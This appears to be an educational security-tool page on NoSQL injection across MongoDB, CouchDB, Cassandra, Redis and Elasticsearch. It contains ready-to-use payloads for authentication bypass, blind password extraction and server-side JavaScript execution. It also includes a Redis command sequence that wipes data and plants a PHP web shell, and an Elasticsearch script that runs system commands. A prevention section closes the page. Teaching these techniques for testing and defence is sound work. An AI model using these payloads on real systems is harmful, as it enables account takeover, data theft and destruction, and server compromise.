NoSQL Injection: MongoDB, CouchDB, and Beyond
NoSQL databases power modern web applications — MongoDB alone is used by millions of apps. But "NoSQL" doesn't mean "no injection." NoSQL injection is a distinct vulnerability class that exploits the query syntax of non-relational databases to bypass authentication, extract data, and sometimes achieve remote code execution.
NoSQL vs SQL Injection
NoSQL Injection Impact
NoSQL injection can bypass authentication, exfiltrate entire collections, and in some configurations achieve server-side JavaScript execution (RCE). MongoDB's $where operator and mapReduce can execute arbitrary JavaScript.
| Operator/Technique | Database | Effect | Example Payload | Severity |
|---|---|---|---|---|
| $ne (not equal) | MongoDB | Auth bypass | {"user": "admin", "pass": {"$ne": ""}} | Critical |
| $gt (greater than) | MongoDB | Auth bypass | {"user": {"$gt": ""}} | Critical |
| $regex | MongoDB | Data extraction | {"user": {"$regex": "^a"}} | High |
| $where | MongoDB | JS execution | {"$where": "this.user=='admin'"} | Critical |
| Array injection | MongoDB | Logic bypass | user[$ne]=invalid | High |
| mapReduce | MongoDB | RCE | mapReduce with malicious JS function | Critical |
| Selector injection | CouchDB | Data leak | GET /_all_docs with manipulated selector | High |
Traditional SQL injection exploits string concatenation in SQL queries. NoSQL injection typically exploits:
- Operator injection — injecting query operators like
$gt,$ne,$regexinto MongoDB queries - JavaScript injection — injecting JavaScript into server-side
$whereclauses - JSON injection — manipulating JSON query structures via parameter pollution
The key difference: NoSQL injection often targets structured data formats (JSON objects) rather than string-based queries.
MongoDB Operator Injection
Authentication Bypass
The most common NoSQL injection. If the application builds a MongoDB query from user input:
// Vulnerable server-side code
db.users.find({username: req.body.username, password: req.body.password})
// Normal request
{"username": "admin", "password": "password123"}
// Attack — $ne means "not equal"
{"username": "admin", "password": {"$ne": ""}}
// This becomes: find where username="admin" AND password != ""
// Returns the admin user without knowing the password!
Operator Injection via URL Parameters
Many frameworks automatically parse bracket notation into objects:
# Express.js / PHP automatically converts this to an object
username=admin&password[$ne]=anything
# Equivalent to: {"username": "admin", "password": {"$ne": "anything"}}
# Other useful operators
password[$gt]= (password greater than empty string)
password[$regex]=.* (password matches any regex)
password[$exists]=true (password field exists)
Extracting Data with $regex
Use regex operator injection to extract data character by character:
# Check if password starts with 'a'
{"username": "admin", "password": {"$regex": "^a"}}
# Check if password starts with 'ad'
{"username": "admin", "password": {"$regex": "^ad"}}
# Extract the full password character by character
{"username": "admin", "password": {"$regex": "^adm"}}
{"username": "admin", "password": {"$regex": "^admi"}}
{"username": "admin", "password": {"$regex": "^admin"}}
This is a blind technique — you determine each character based on whether the login succeeds or fails.
Enumerating Users
# Find all users (not just admin)
{"username": {"$ne": ""}, "password": {"$ne": ""}}
# Get users one at a time with $nin (not in)
{"username": {"$nin": ["admin"]}, "password": {"$ne": ""}}
{"username": {"$nin": ["admin", "user1"]}, "password": {"$ne": ""}}
# Regex enumeration
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^b"}, "password": {"$ne": ""}}
JavaScript Injection ($where)
MongoDB's $where operator accepts JavaScript expressions — if user input reaches a $where clause, you can inject arbitrary JavaScript:
# Time-based detection
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && sleep(5000)"}
# Data exfiltration via error messages
{"$where": "this.password.match(/^a/) ? true : (function(){throw this.password})()"}
# Boolean-based blind extraction
{"$where": "this.username == 'admin' && this.password.match(/^adm/)"}
# Always true (return all documents)
{"$where": "1==1"}
' || 1==1 || '
'; return true; var x='
Server-Side JavaScript Injection
Beyond $where, MongoDB has other JS execution contexts:
# $function (MongoDB 4.4+)
{"$expr": {"$function": {"body": "function(){return true}", "args": [], "lang": "js"}}}
# mapReduce
db.collection.mapReduce(
"function(){emit(1, this.password)}", // injectable
"function(k,v){return v}",
{out: "output"}
)
CouchDB Injection
CouchDB uses HTTP REST API and Mango queries:
# Authentication bypass via Mango query injection
{"selector": {"username": "admin", "password": {"$ne": ""}}}
# View injection (if user input reaches view definitions)
# CouchDB views use JavaScript map/reduce functions
function(doc) { if(doc.type == 'user') emit(doc.username, doc.password); }
# API enumeration
GET /_all_dbs (list all databases)
GET /dbname/_all_docs (list all documents)
GET /_users/_all_docs (list all users)
Other NoSQL Databases
Cassandra (CQL Injection)
# CQL is similar to SQL but with different syntax
' OR token(username) > token('') --
# Cassandra doesn't support UNION but you can:
# 1. Use boolean-based blind injection
# 2. Exploit IF conditions in INSERT/UPDATE
Redis (Command Injection)
# If user input reaches Redis commands
FLUSHALL (delete all data)
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE (write web shell to disk)
Redis command injection can be chained with SSRF via gopher protocol to attack internal Redis instances.
Elasticsearch
# Query DSL injection
{"query": {"bool": {"must": [{"match_all": {}}]}}}
# Script injection (if scripting is enabled)
{"script": {"source": "Runtime.getRuntime().exec('id')"}}
NoSQL Injection in APIs
Modern APIs are especially vulnerable because they natively accept JSON:
# GraphQL with MongoDB backend
query {
user(filter: {password: {$ne: ""}}) {
username
email
}
}
# REST API with JSON body
POST /api/login
Content-Type: application/json
{"email": {"$gt": ""}, "password": {"$gt": ""}}
Test your GraphQL endpoints with our GraphQL Injection Generator for query-specific payloads.
Tools and Automation
- NoSQLMap — automated NoSQL injection scanner and exploiter
- Burp Suite — intercept and modify JSON payloads
- mongosh — MongoDB shell for manual testing
Prevention
- Never build queries by concatenating user input — use parameterized queries and ORM/ODM methods
- Validate and sanitize input types (reject objects when expecting strings)
- Disable server-side JavaScript execution (
$where,mapReduce) in production - Use MongoDB's
mongosanitizeor express-mongo-sanitize middleware - Implement input type checking (reject
$-prefixed keys in user input)
Generate NoSQL injection payloads for MongoDB, CouchDB, and more with our NoSQL Injection Generator. Use the Encoder/Decoder for URL-encoding JSON payloads, and check the NoSQL Injection Cheat Sheet for a complete payload reference.
For related database attacks, see our SQL Injection Generator covering MySQL, PostgreSQL, MSSQL, and Oracle.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides